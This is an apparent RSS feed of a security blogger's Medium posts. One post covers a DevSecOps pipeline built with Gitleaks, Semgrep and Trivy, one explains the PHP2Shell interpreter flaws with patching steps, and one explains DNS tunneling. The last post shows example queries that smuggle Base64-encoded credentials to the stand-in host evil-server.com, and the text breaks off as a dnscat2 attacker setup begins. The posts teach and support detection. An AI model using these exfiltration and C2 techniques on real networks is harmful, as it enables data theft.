<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Miss 0x424D on Medium]]></title>
        <description><![CDATA[Stories by Miss 0x424D on Medium]]></description>
        <link>https://medium.com/@miss0424d?source=rss-0b3b945c3201------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*S8JHYQU7siQrqgeZNGA6Vw.jpeg</url>
            <title>Stories by Miss 0x424D on Medium</title>
            <link>https://medium.com/@miss0424d?source=rss-0b3b945c3201------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 27 Nov 2026 19:55:33 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@miss0424d/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Shift-Left in Action: How My First DevSecOps Pipeline Blocked Me on Day 1 (Part 1)]]></title>
            <link>https://miss0424d.medium.com/shift-left-in-action-how-my-first-devsecops-pipeline-blocked-me-on-day-1-part-1-212ce6975001?source=rss-0b3b945c3201------2</link>
            <guid isPermaLink="false">https://medium.com/p/212ce6975001</guid>
            <category><![CDATA[software-engineering]]></category>
            <category><![CDATA[devsecops]]></category>
            <category><![CDATA[ci-cd-pipeline]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[devops]]></category>
            <dc:creator><![CDATA[Miss 0x424D]]></dc:creator>
            <pubDate>Mon, 16 Nov 2026 17:44:21 GMT</pubDate>
            <atom:updated>2026-11-16T18:24:39.681Z</atom:updated>
            <content:encoded><![CDATA[<p><em>Building an automated zero-cost security pipeline with GitHub Actions, Gitleaks, Semgrep, and Trivy.</em></p><p>Imagine this: It’s 2:00 AM. A developer is rushing to push a hotfix before going to sleep. In their haste, an active API key is left hardcoded in a configuration file, or a base Docker image with an unpatched critical CVE is merged into main.</p><p>By morning, automated scrapers have already discovered the exposed credentials, and your team is in full incident response mode.</p><p>For years, security was treated as an afterthought an isolated audit at the very end of a project that delayed releases and frustrated developers. But today, modern engineering teams are replacing that outdated model with <strong>DevSecOps</strong> and <strong>Shift-Left Security</strong>.</p><p>In this two-part series, I am sharing how I built my first automated, production-grade DevSecOps pipeline using <strong>100% free, open-source tools</strong>.</p><p>In <strong>Part 1</strong>, we will demystify core security testing concepts (<strong>SAST vs. DAST</strong>), design our automated pipeline architecture, and run our very first automated scan which immediately stopped me in my tracks.</p><h3>From DevOps to DevSecOps: The “Sec” Wrapper</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/941/1*ZZRACTtYX0__AM5k8tDZ-Q.jpeg" /><figcaption>Figure 1: DevSecOps is not a single checkpoint, it wraps security continuously around every phase of development and operations.</figcaption></figure><p>In traditional DevOps, teams focused almost entirely on speed: Plan → Code → Build → Test → Release → Deploy → Monitor. Security was usually handled by an external team right before going live.</p><p><strong>DevSecOps</strong> changes this paradigm completely. As shown in the diagram above, security is not a gatekeeper at the end; it is an active layer that wraps around every single stage.</p><p>The core philosophy driving this is called <strong>“Shift-Left”</strong>: moving security checks as early as possible in the software delivery cycle (to the “left” of the timeline, near coding and pull requests). If a vulnerability exists, the pipeline should fail fast and fail early saving weeks of costly remediation later.</p><h3>Demystifying the Jargon: SAST vs. DAST</h3><p>When you start exploring DevSecOps, you immediately encounter two acronyms that sound intimidating but are actually very intuitive: <strong>SAST</strong> and <strong>DAST</strong>.</p><p>To understand the difference, imagine testing the safety of a car:</p><ul><li><strong>SAST (Static Application Security Testing):</strong> This is like an engineer inspecting the <strong>car’s blueprints and engine while it is turned off in the garage</strong>. They inspect every bolt and blueprint line by line: <em>“Is this cable fireproof? Is this screw loose?”</em></li><li><strong>DAST (Dynamic Application Security Testing):</strong> This is like a test driver <strong>starting the car and driving it into a test track</strong>. They don’t look at the blueprints; they test the car from the outside in real-world motion: <em>“Do the brakes lock up when turning at 100 km/h? Does the door pop open on rough terrain?”</em></li></ul><p>The Breakdown:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/980/1*F4apArBqxrUBRYkxyWZo_w.png" /></figure><h3>Where Does Our Project Fit?</h3><p>Because our goal is <strong>Shift-Left</strong> (stopping flaws before code is even built or deployed), our pipeline implements <strong>SAST</strong> using <strong>Semgrep</strong>. It scans our code repository in less than 15 seconds!</p><p><em>DAST comes later in the pipeline maturity model typically once the container is deployed to a staging server.</em></p><h3>What Does “Shift-Left” Actually Mean?</h3><p>In traditional software delivery, security testing happens <em>after</em> development is completed (often right before deployment).</p><p><strong>Shifting left</strong> simply means moving security checks as close to the developer’s local machine and early pull requests as possible. If a vulnerability exists, the pipeline should fail fast and fail early — saving hours of remediation work later.</p><h3>The 3-Tier Security Architecture</h3><p>To keep the pipeline fast, modular, and cost-free, I selected three industry-standard open-source tools orchestrated through <strong>GitHub Actions</strong>:</p><ol><li><strong>Secret Detection (Gitleaks):</strong> Scans git commits and history to prevent passwords, tokens, and cloud API keys from entering the repository.</li><li><strong>SAST Static Application Security Testing (Semgrep):</strong> Analyzes raw source code for logic flaws, injection attacks, and OWASP Top 10 vulnerabilities.</li><li><strong>Container &amp; SCA Scanning (Trivy):</strong> Builds the Docker container and inspects both operating system packages and third-party dependencies for known CVEs.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/580/1*ypgtiaPw9CZ9j3K0O7tKwA.png" /></figure><h3>Step 1: The Target Microservice &amp; Dockerfile</h3><p>Rather than bloating the project with complex application code, the star of this project is the <strong>security automation</strong>. I created a minimal, containerized Python Flask API:</p><pre># app.py<br>from flask import Flask, jsonify<br><br>app = Flask(__name__)<br><br>@app.route(&quot;/&quot;)<br>def home():<br>    return jsonify({<br>        &quot;status&quot;: &quot;online&quot;,<br>        &quot;service&quot;: &quot;DevSecOps Demo API&quot;,<br>        &quot;version&quot;: &quot;1.0.0&quot;<br>    })<br><br>@app.route(&quot;/health&quot;)<br>def health():<br>    return jsonify({&quot;health&quot;: &quot;healthy&quot;}), 200<br><br>if __name__ == &quot;__main__&quot;:<br>    app.run(host=&quot;0.0.0.0&quot;, port=5000)</pre><p>And packaged it using a standard Dockerfile with non-root security privileges:</p><pre>FROM python:3.11-slim<br><br># Create a non-root user for security best practices<br>RUN groupadd -r appuser &amp;&amp; useradd -r -g appuser appuser<br>WORKDIR /app<br><br>COPY requirements.txt .<br>RUN pip install --no-cache-dir -r requirements.txt<br><br>COPY app.py .<br>USER appuser<br>EXPOSE 5000<br><br>CMD [&quot;gunicorn&quot;, &quot;--bind&quot;, &quot;0.0.0.0:5000&quot;, &quot;app:app&quot;]</pre><h3>Step 2: Automating the Pipeline with GitHub Actions</h3><pre>name: DevSecOps Shift-Left Pipeline<br><br>on:<br>  push:<br>    branches: [ &quot;main&quot; ]<br>  pull_request:<br>    branches: [ &quot;main&quot; ]<br><br>jobs:<br>  secret-scan:<br>    name: 1. Secret Detection (Gitleaks)<br>    runs-on: ubuntu-latest<br>    steps:<br>      - uses: actions/checkout@v4<br>        with:<br>          fetch-depth: 0<br>      - uses: gitleaks/gitleaks-action@v2<br>        env:<br>          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}<br><br>  sast-scan:<br>    name: 2. SAST Analysis (Semgrep)<br>    runs-on: ubuntu-latest<br>    needs: secret-scan<br>    steps:<br>      - uses: actions/checkout@v4<br>      - uses: returntocorp/semgrep-action@v1<br>        with:<br>          config: &quot;p/security-audit p/owasp-top-ten&quot;<br><br>  container-scan:<br>    name: 3. Container &amp; CVE Scan (Trivy)<br>    runs-on: ubuntu-latest<br>    needs: sast-scan<br>    steps:<br>      - uses: actions/checkout@v4<br>      - name: Build Image<br>        run: docker build -t secure-api:${{ github.sha }} .<br>      - uses: aquasecurity/trivy-action@master<br>        with:<br>          image-ref: &#39;secure-api:${{ github.sha }}&#39;<br>          format: &#39;table&#39;<br>          exit-code: &#39;1&#39;<br>          ignore-unfixed: true<br>          severity: &#39;CRITICAL,HIGH&#39;</pre><p>Notice the key configuration in Trivy: exit-code: &#39;1&#39;. This instructs the runner to <strong>terminate and fail the pipeline</strong> if any High or Critical CVEs are detected.</p><h3>Step 3: The First Push &amp; <strong>The Reality Check</strong></h3><p>With everything configured, I committed the code and pushed to GitHub:</p><pre>git add .<br>git commit -m &quot;Initial commit: Microservice and DevSecOps automated pipeline&quot;<br>git push -u origin main</pre><p>I navigated to the <strong>Actions</strong> tab on GitHub, expecting all three jobs to turn green.</p><p>Here is what happened:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/962/1*jNQSWf2NIQY1y7p7Vfpb0A.png" /><figcaption><em>Figure 2: The DevSecOps pipeline in action. Gitleaks and Semgrep passed, but Trivy blocked the build.</em></figcaption></figure><p>The build failed on step 3!</p><p>Even though my custom Python code was safe and no secrets were leaked, the pipeline refused to proceed. When I clicked directly into the Trivy step logs, I saw the exact reason:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wGJz8uOm9w51wzfdpgUDVA.png" /><figcaption><em>Figure 3: Trivy’s vulnerability report identifying unpatched CVEs inside the container’s base image.</em></figcaption></figure><p>The official base image (python:3.11-slim) contained existing packages (jaraco.context and wheel) with known vulnerabilities:</p><ul><li>CVE-2026-23949: Path traversal via malicious tar archives.</li><li>CVE-2026-24049: Potential arbitrary code execution.</li></ul><p>In a traditional DevOps setup, this container would have sailed straight through to staging or production. In our DevSecOps pipeline, <strong>the automated gate slammed shut before deployment was ever attempted.</strong></p><h3>What’s Coming in Part 2?</h3><p>A security scanner that only screams <em>“Vulnerability found!”</em> is only half the battle. In <strong>Part 2</strong>, we will cover:</p><ol><li><strong>Remediation:</strong> How we harden our Docker container using minimal base images (Alpine Linux) to eliminate base CVEs and turn the build 100% green.</li><li><strong>Simulating an Attack:</strong> Intentionally pushing leaked API keys and malicious code through a Pull Request.</li><li><strong>Automated PR Enforcement:</strong> Enforcing branch protection rules so vulnerable code can never be merged.</li></ol><p><strong><em>Stay tuned for Part 2!</em></strong><em> If you found this breakdown insightful, drop a few claps 👏 and follow along so you don’t miss the next chapter of the pipeline build. What security tools are you currently using in your CI/CD workflows? Let’s connect in the comments below!</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=212ce6975001" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[PHP2Shell: How a 1990s Error-Handling Pattern Just Gave Attackers Remote Code Execution on 80% of…]]></title>
            <link>https://miss0424d.medium.com/php2shell-how-a-1990s-error-handling-pattern-just-gave-attackers-remote-code-execution-on-80-of-16f98b831496?source=rss-0b3b945c3201------2</link>
            <guid isPermaLink="false">https://medium.com/p/16f98b831496</guid>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[network-security]]></category>
            <category><![CDATA[technology]]></category>
            <dc:creator><![CDATA[Miss 0x424D]]></dc:creator>
            <pubDate>Fri, 23 Oct 2026 12:54:46 GMT</pubDate>
            <atom:updated>2026-10-23T12:54:46.571Z</atom:updated>
            <content:encoded><![CDATA[<h3>PHP2Shell: How a 1990s Error-Handling Pattern Just Gave Attackers Remote Code Execution on 80% of the Web</h3><p><em>A technical breakdown of CVE-2026-109618 and CVE-2026-109619 two critical vulnerabilities in the PHP core interpreter that turn memory exhaustion into unauthenticated remote code execution.</em></p><p>On October 21, 2026, two critical vulnerabilities dropped that sent the cybersecurity community into emergency response mode.</p><p>Not a WordPress plugin flaw. Not a Drupal misconfiguration. Not a Laravel route injection.</p><p><strong>A flaw in the PHP interpreter itself.</strong></p><p>The runtime engine. The thing that parses every single request before your application code even begins to execute.</p><p>Collectively dubbed <strong>PHP2Shell</strong> by the security research community, these two CVEs : <strong>CVE-2026-109618</strong> and <strong>CVE-2026-109619</strong> carry a CVSS v4.0 score of <strong>9.2 (Critical)</strong> and affect every version of PHP from 5.4 through 8.5.11. That covers roughly <strong>80% of all websites on the internet</strong>, including every default WordPress, Drupal, Joomla, Laravel, and Symfony installation on Earth.</p><p>Exploitation was observed in the wild <strong>before the official disclosure date</strong>.</p><p>Let’s break down exactly what went wrong, why it happened, and what you need to do right now.</p><h3>The Root Cause: A Function From 1988</h3><p>To understand PHP2Shell, you need to understand one C standard library function: <strong>longjmp()</strong>.</p><h3>What longjmp() Does</h3><p>In the C programming language, when a function encounters a catastrophic error (like running out of memory), it has two options for aborting execution:</p><ol><li><strong>The Clean Way:</strong> Return an error code through each function in the call stack, one by one, allowing each layer to clean up its resources (free memory, close files, release locks). This is slow but safe.</li><li><strong>The Fast Way:</strong> Call longjmp(), which immediately teleports execution back to a predefined checkpoint (set earlier by setjmp()), skipping every function in between. No cleanup. No destructors. No resource bookkeeping.</li></ol><p>PHP chose option 2.</p><p>When the PHP interpreter encounters a fatal condition an Out-of-Memory (OOM) error, an execution timeout, or an abrupt client disconnection it fires longjmp() and jumps straight to a recovery point. The current operation is abandoned mid-execution, regardless of what internal data structures were being constructed at that exact moment.</p><p>This design decision was made decades ago for performance reasons. And it worked fine until researchers discovered what happens to the half-constructed data structures left behind.</p><h3>Vulnerability #1: CVE-2026-109618 OOM-Triggered Memory Corruption</h3><p><strong>CWE Classification:</strong> CWE-824 (Access of Uninitialized Pointer)</p><h3>The Setup</h3><p>Certain PHP engine operations follow a two-step pattern when adding entries to internal data structures:</p><pre>Step 1: Mark the structure as having a new entry (increment counter)</pre><pre>Step 2: Allocate memory for that entry and initialize it</pre><p>This ordering seems harmless in normal execution step 1 happens, then step 2 immediately follows.</p><p>But what happens if <strong>Step 2 is the allocation that crosses the </strong><strong>memory_limit threshold?</strong></p><h3>The Crash Sequence</h3><ol><li>PHP receives an HTTP request (e.g., a multipart file upload, session handling, or OPcache class loading).</li><li>The engine begins constructing an internal data structure. It <strong>increments the entry counter</strong> (Step 1), marking the structure as containing a new element.</li><li>The engine attempts to <strong>allocate memory</strong> for that element (Step 2).</li><li>This allocation pushes total memory usage past the configured memory_limit.</li><li>PHP triggers an OOM fatal error and immediately calls <strong>longjmp()</strong>.</li><li>Execution teleports to the recovery checkpoint. <strong>Step 2 never completes.</strong></li><li>The data structure now has a counter claiming it contains an entry, but the entry itself <strong>points to uninitialized heap memory</strong> whatever stale bytes happened to be sitting at that address.</li></ol><h3>The Exploitation</h3><p>During the subsequent request cleanup routine (php_request_shutdown()), the engine iterates over this data structure, trusting the counter. It reads the uninitialized pointer, follows it, and attempts to call functions or free memory at whatever address it finds.</p><p>By carefully controlling the OOM trigger point and the heap layout (through strategically sized HTTP request payloads), an attacker can place controlled data at the exact memory location that the dangling pointer will reference. When the cleanup routine follows the pointer, it executes attacker-controlled instructions.</p><p><strong>Result:</strong> Unauthenticated Remote Code Execution.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZSN9EFPqgaFvWIWXYyiHNg.png" /><figcaption>PHP2Shell: Memory Exploitation Flow</figcaption></figure><h3>Vulnerability #2: CVE-2026–109619 Use-After-Free via Stale Global State</h3><p><strong>CWE Classification:</strong> CWE-416 (Use After Free)</p><h3>The Setup</h3><p>PHP maintains global (module-level) state variables that persist across multiple HTTP requests when running in persistent execution models like <strong>Apache </strong><strong>mod_php</strong> or <strong>PHP-FPM</strong> worker pools. These globals temporarily reference per-request memory during request processing and are supposed to be fully reset between requests.</p><p>One critical example: PHP’s built-in session.upload_progress feature, which tracks file upload progress using internal global structures that reference per-request heap memory.</p><h3>The Crash Sequence</h3><ol><li><strong>Request A</strong> arrives. PHP begins processing it and sets global state pointers to reference Request A’s heap memory (e.g., session upload progress structures).</li><li>A fatal error occurs during Request A (triggered by the attacker via OOM, type error, or other means).</li><li>The longjmp() fires. PHP enters its error recovery path.</li><li>During cleanup, the per-request heap memory is freed. <strong>But the global state pointers are not fully reset</strong> so they still reference the now-freed memory addresses.</li><li><strong>Request B</strong> arrives on the same worker process.</li><li>Before the global state is re-initialized by Request B’s normal startup routine, the engine encounters the <strong>stale global pointers</strong> from Request A.</li><li>These pointers reference freed memory which is a classic <strong>Use-After-Free (UAF)</strong> condition.</li></ol><h3>The Exploitation</h3><p>The attacker sends Request A to trigger the fatal error and leave dangling global pointers. Then immediately sends Request B, which lands on the same worker process. Between the two requests, the attacker heap-sprays (sends carefully crafted HTTP payloads) to fill the freed memory slots with controlled data.</p><p>When the worker process handles Request B and touches the stale global state, it reads attacker-controlled bytes from the re-allocated heap, leading to arbitrary code execution.</p><p><strong>Result:</strong> Unauthenticated Remote Code Execution, running as www-data or apache.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8cLNGPbhhmNzpw7alNKz1A.png" /><figcaption>Use-After-Free Exploitation Flow PHP2Shell</figcaption></figure><h3>\Why This Is Exceptionally Dangerous</h3><h3>1. No Application Code Required</h3><p>These vulnerabilities exist in the PHP <strong>interpreter itself</strong>, not in any application, framework, or plugin. A server running a PHP file containing nothing but &lt;?php echo &quot;OK&quot;; ?&gt; is still vulnerable. The exploit triggers during the engine&#39;s internal request parsing, <strong>before your code even starts</strong>.</p><h3>2. 80% of the Web Runs PHP</h3><p>PHP powers approximately 76–80% of all websites with a known server-side language. WordPress alone accounts for over 40% of the entire web. Every single one of those installations was vulnerable until patched.</p><h3>3. Pre-Authentication, Zero-Click</h3><p>The attacker needs nothing but the ability to send HTTP requests to the target. No credentials. No session tokens. No user interaction. Just a carefully crafted POST request.</p><h3>4. Exploitation Was Already Active</h3><p>Threat intelligence teams at Tenable, CrowdStrike, and Sophos reported observing active exploitation attempts <strong>before the official coordinated disclosure</strong> on October 21. The proof-of-concept leaked early, giving defenders almost zero response window.</p><h3>Who Is Most At Risk</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/820/1*GMz1JQXt3jysHjG8HT7W1w.png" /></figure><h3>Affected &amp; Patched Versions</h3><p>The PHP development team released emergency patches on October 21, 2026:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/820/1*YwZHLchtzAaly5cK1pvgqA.png" /></figure><p>If you are running PHP 8.1, 8.0, 7.x, or 5.x, you are vulnerable and will not receive an official upstream fix. You must either upgrade to a supported branch or use vendor-provided backported patches (from enterprise Linux distributions or commercial extended lifecycle support providers like TuxCare).</p><h3>Immediate Action Plan</h3><h3>For System Administrators and DevOps:</h3><p><strong>1. Patch NOW !</strong></p><pre># Debian / Ubuntu<br>sudo apt update &amp;&amp; sudo apt upgrade php<br><br># RHEL / CentOS / AlmaLinux<br>sudo dnf update php<br><br># Verify the installed version<br>php -v<br># Must show: 8.2.35, 8.3.36, 8.4.27, or 8.5.12</pre><p><strong>2. Restart ALL PHP Workers</strong> patching the binary is not enough. You must restart every running process to clear potentially corrupted in-memory state:</p><pre># PHP-FPM<br>sudo systemctl restart php-fpm<br><br># Apache mod_php<br>sudo systemctl restart apache2   # Debian<br>sudo systemctl restart httpd     # RHEL<br><br># Nginx + PHP-FPM<br>sudo systemctl restart php8.3-fpm nginx</pre><p><strong>3. Rebuild Container Images</strong> If you deploy via Docker or Kubernetes, update your base images:</p><pre># Before (VULNERABLE):<br>FROM php:8.4.26-fpm<br><br># After (PATCHED):<br>FROM php:8.4.27-fpm</pre><p>Then rebuild and redeploy all pods/containers.</p><p><strong>4. Audit Your Environment</strong> Find every PHP installation including forgotten staging servers, developer environments, cPanel instances, and legacy applications. <strong>Every single one</strong> needs to be patched or taken offline.</p><h3>For SOC Analysts and Incident Responders:</h3><ul><li><strong>Hunt for exploitation indicators:</strong> Look for anomalous POST requests with oversized multipart bodies or crafted session.upload_progress payloads in your WAF and access logs.</li><li><strong>Monitor web shell indicators:</strong> If exploitation succeeded, attackers likely dropped a web shell. Search for recently created .php files in web-accessible directories.</li><li><strong>Review process trees:</strong> Look for unexpected child processes spawned by www-data, apache, or nginx users indicators of post-exploitation command execution.</li></ul><h3>The Bigger Picture: Memory Safety in 2026</h3><p>PHP2Shell is not an isolated incident. It is the latest entry in a long, growing list of memory-safety vulnerabilities in C-based runtimes and applications:</p><ul><li><strong>2024:</strong> XZ Utils backdoor (CVE-2024-3094) supply chain compromise via crafted build scripts.</li><li><strong>2024:</strong> PHP CGI argument injection on Windows (CVE-2024-4577) argument injection leading to RCE.</li><li><strong>2026:</strong> PHP2Shell longjmp() interrupting memory initialization, causing corruption and UAF.</li></ul><p>The common thread? <strong>C does not have memory safety guarantees.</strong> There are no bounds checks, no ownership models, no automatic cleanup on non-local jumps. When a longjmp() fires, every half-constructed object on the stack and heap is silently abandoned with no compiler-enforced safety net.</p><p>This is precisely why the broader industry is moving toward memory-safe languages (Rust, Go, Zig) for critical infrastructure. It is also why initiatives like the PHP Foundation’s ongoing engine modernization and the CISA Secure-by-Design pledge are more important than ever.</p><h3>Key Takeaways</h3><ol><li><strong>PHP2Shell is not a plugin or framework bug.</strong> It lives inside the PHP interpreter itself. Every PHP deployment on Earth was affected, regardless of application code.</li><li><strong>The root cause is a 1980s-era C pattern</strong> (longjmp() for error handling) that silently corrupts memory when it interrupts partially-initialized data structures.</li><li><strong>Exploitation is unauthenticated and pre-application.</strong> No credentials, no user interaction, no application-level mitigation possible. Only patching the runtime fixes it.</li><li><strong>Patch immediately and restart workers.</strong> Updating the PHP binary without restarting running processes leaves you exposed to the stale-state variant (CVE-2026-109619).</li><li><strong>Audit everything.</strong> Forgotten staging servers, legacy containers, and unmaintained cPanel instances are the doors attackers walk through first.</li></ol><h3>What’s your team’s patching status?</h3><p>If you manage PHP infrastructure, how fast did your team respond to PHP2Shell? Are you still running EOL PHP versions in production? I would love to hear your war stories in the comments.</p><p><em>If this breakdown helped you understand the technical mechanics behind PHP2Shell, give it a clap and follow me for more hands-on cybersecurity deep-dives covering vulnerability analysis, system hardening, and network defense.</em></p><p><em>Read my previous article: </em><a href="https://miss0424d.medium.com/the-protocol-nobody-blocks-how-attackers-steal-data-through-dns-queries-e96c8b50d9bc"><em>The Protocol Nobody Blocks How Attackers Steal Data Through DNS Queries</em></a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=16f98b831496" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Protocol Nobody Blocks: How Attackers Steal Data Through DNS Queries]]></title>
            <link>https://miss0424d.medium.com/the-protocol-nobody-blocks-how-attackers-steal-data-through-dns-queries-e96c8b50d9bc?source=rss-0b3b945c3201------2</link>
            <guid isPermaLink="false">https://medium.com/p/e96c8b50d9bc</guid>
            <category><![CDATA[network-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[technology]]></category>
            <dc:creator><![CDATA[Miss 0x424D]]></dc:creator>
            <pubDate>Wed, 21 Oct 2026 10:17:47 GMT</pubDate>
            <atom:updated>2026-10-21T10:41:12.941Z</atom:updated>
            <content:encoded><![CDATA[<p><em>How a protocol designed in 1983 became the stealthiest backdoor in modern enterprise infrastructure.</em></p><p>There is a protocol flowing through your network right now. It passes through every firewall, every proxy, every IDS, and every security appliance you own completely uninspected.</p><p>It is not some exotic zero-day exploit. It is not encrypted malware hidden in a JPEG.</p><p>It is <strong>DNS</strong>. The Domain Name System. The 40-year-old protocol that translates google.com into 142.250.185.14. The most fundamental, most trusted, and most overlooked protocol on the internet.</p><p>And attackers love it.</p><p>Because while your security team is busy inspecting HTTP traffic, scanning email attachments, and monitoring SSH sessions, <strong>DNS traffic walks right past every single control unchallenged</strong>. It is the digital equivalent of smuggling contraband inside an ambulance nobody stops an ambulance.</p><p>In this article, I am going to show you exactly how attackers abuse DNS to steal data from compromised networks, establish invisible command-and-control channels, and even tunnel entire interactive shell sessions through port 53. Then I will show you how to detect it.</p><h3>Why DNS Is the Perfect Hiding Spot</h3><p>Before we dive into the attack, let’s understand why DNS is such a blind spot.</p><h3>DNS Is Everywhere and Always Allowed</h3><p>Every device on every network needs DNS to function. Your laptop, your phone, your smart TV, your IoT thermostat they all send DNS queries constantly. Blocking DNS would break the entire internet experience.</p><p>Because of this, <strong>port 53 (UDP/TCP) is open on virtually every firewall in the world</strong>. Most organizations have a rule that looks something like this:</p><pre>ALLOW   ANY   →   DNS Server   PORT 53   (UDP/TCP)</pre><p>This rule exists on corporate firewalls, airport Wi-Fi captive portals, hotel networks, and even the most locked-down government environments. Without it, nothing works.</p><h3>DNS Is Rarely Inspected</h3><p>Here is the uncomfortable truth about most network security stacks:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qWZ0Rz-RYwfXEkdrPP4Rgg.png" /></figure><p>Most security teams treat DNS as plumbing something that just works in the background and doesn’t need attention. Firewalls log the fact that a DNS query happened, but almost never look at <strong>what was inside the query</strong>.</p><p>This is exactly the gap that DNS tunneling exploits.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_3Luruvlylqo0SU2BlvoIA.jpeg" /><figcaption><em>Figure 1: A typical enterprise security stack. DNS covert channel</em></figcaption></figure><h3>The Technique: Hiding Data Inside DNS Queries</h3><p>Now let’s see how the attack actually works. The core idea is deceptively simple:</p><blockquote><strong><em>Encode stolen data into the subdomain field of a DNS query, and send it to an attacker-controlled DNS server.</em></strong></blockquote><h3>How a Normal DNS Query Works</h3><p>When you type www.google.com into your browser, your computer sends a DNS query to a DNS resolver asking: <em>&quot;What is the IP address of </em><a href="http://www.google.com/"><em>www.google.com</em></a><em>?&quot;</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Kag82BJZGHhCcH44OGOxBg.jpeg" /><figcaption><em>Figure: The standard 8-step DNS resolution process. The DNS resolver queries the Root, TLD (.com), and Authoritative (google.com) servers sequentially to resolve </em><em>www.google.com into the IP address </em><em>142.251.46.238.</em></figcaption></figure><p>Nothing suspicious. The subdomain www is a short, readable label. The domain google.com is a well-known website. This is exactly what legitimate DNS traffic looks like.</p><h3>How a DNS Tunneling Query Works</h3><p>Now watch what an attacker does. Suppose they have compromised a machine inside a corporate network and want to exfiltrate the contents of a sensitive file say, a password database. The machine cannot connect to the internet directly (HTTP is blocked, SSH is blocked, FTP is blocked). But DNS? DNS is always allowed.</p><p>The attacker’s malware takes the stolen data, <strong>Base64-encodes it</strong>, and embeds it as a subdomain in a DNS query to a domain the attacker controls:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/848/1*qzM61thO3d0-pbUcTYcwBw.png" /></figure><p>To the firewall, this looks like a perfectly normal DNS query. The firewall sees:</p><ul><li>✅ Protocol: DNS (port 53) allowed.</li><li>✅ Destination: corporate DNS resolver trusted.</li><li>✅ Query type: TXT legitimate.</li></ul><p>The firewall lets it through without a second thought.</p><p>But the domain evil-server.com is controlled by the attacker. Their DNS server receives the query, strips the subdomain, Base64-decodes it, and recovers the original stolen data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*c7Z4VSYa8A8F8HDhpdu6ZQ.jpeg" /><figcaption><em>Figure 2: The complete DNS tunneling exfiltration pipeline. Stolen data is Base64-encoded and embedded as a subdomain in DNS queries.</em></figcaption></figure><h3>The Technical Details: How DNS Tunneling Scales</h3><p>You might be thinking: <em>“A DNS subdomain can only hold a few characters. How do you exfiltrate an entire file?”</em></p><p>Great question. Here is how attackers handle the constraints:</p><h3>DNS Label Limits</h3><p>The DNS protocol has strict size limits:</p><ul><li>Each <strong>label</strong> (subdomain segment) can be up to <strong>63 characters</strong>.</li><li>The total <strong>domain name</strong> (all labels combined) can be up to <strong>253 characters</strong>.</li><li>A single DNS response can carry a <strong>TXT record</strong> of up to <strong>~65,000 bytes</strong> (though practically limited by UDP packet size to ~512 bytes, or ~4,096 bytes with EDNS0).</li></ul><h3>Chunking the Data</h3><p>To exfiltrate a large file, the attacker’s malware <strong>splits the data into chunks</strong> and sends each chunk as a separate DNS query:</p><pre>Chunk 1:  dXNlcm5hbWU6YWRtaW4.evil-server.com<br>Chunk 2:  gcGFzc3dvcmQ6UzNjcjN0.evil-server.com<br>Chunk 3:  IQpkYXRhYmFzZTpwcm9k.evil-server.com<br>Chunk 4:  dWN0aW9uX2RiCg.evil-server.com<br>...<br>Chunk N:  [final chunk].evil-server.com</pre><p>Each query looks like a normal DNS lookup. The attacker’s DNS server collects all chunks in order and reassembles the original file.</p><h3>Bi-Directional Communication: The C2 Channel</h3><p>DNS tunneling is not just one-way. The attacker can also <strong>send commands back</strong> to the compromised machine by encoding instructions inside <strong>DNS response records</strong> (TXT, CNAME, or MX records):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*RuXbJyJm_R76BKXX6y9gBA.png" /></figure><p>This creates a <strong>full Command-and-Control (C2) channel</strong> hidden entirely inside DNS traffic. The attacker can:</p><ul><li>Execute commands on the compromised machine</li><li>Upload additional malware</li><li>Move laterally through the network</li><li>Exfiltrate databases, documents, and credentials</li></ul><p>All through port 53. All invisible to most security tools.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OWx9RC0h7v-Rpx-PGtnl0A.jpeg" /><figcaption><em>Figure 3: A full Command-and-Control channel over DNS.</em></figcaption></figure><h3>Real-World Tools Attackers Use</h3><p>DNS tunneling is not theoretical. There are mature, open-source tools that automate the entire process:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/792/1*9yk3dkMkPhSP-sj9hZj6kg.png" /></figure><h3>A Simple Example with dnscat2</h3><p>On the <strong>attacker’s machine</strong> (controlling evil-server.com):</p><pre># Start 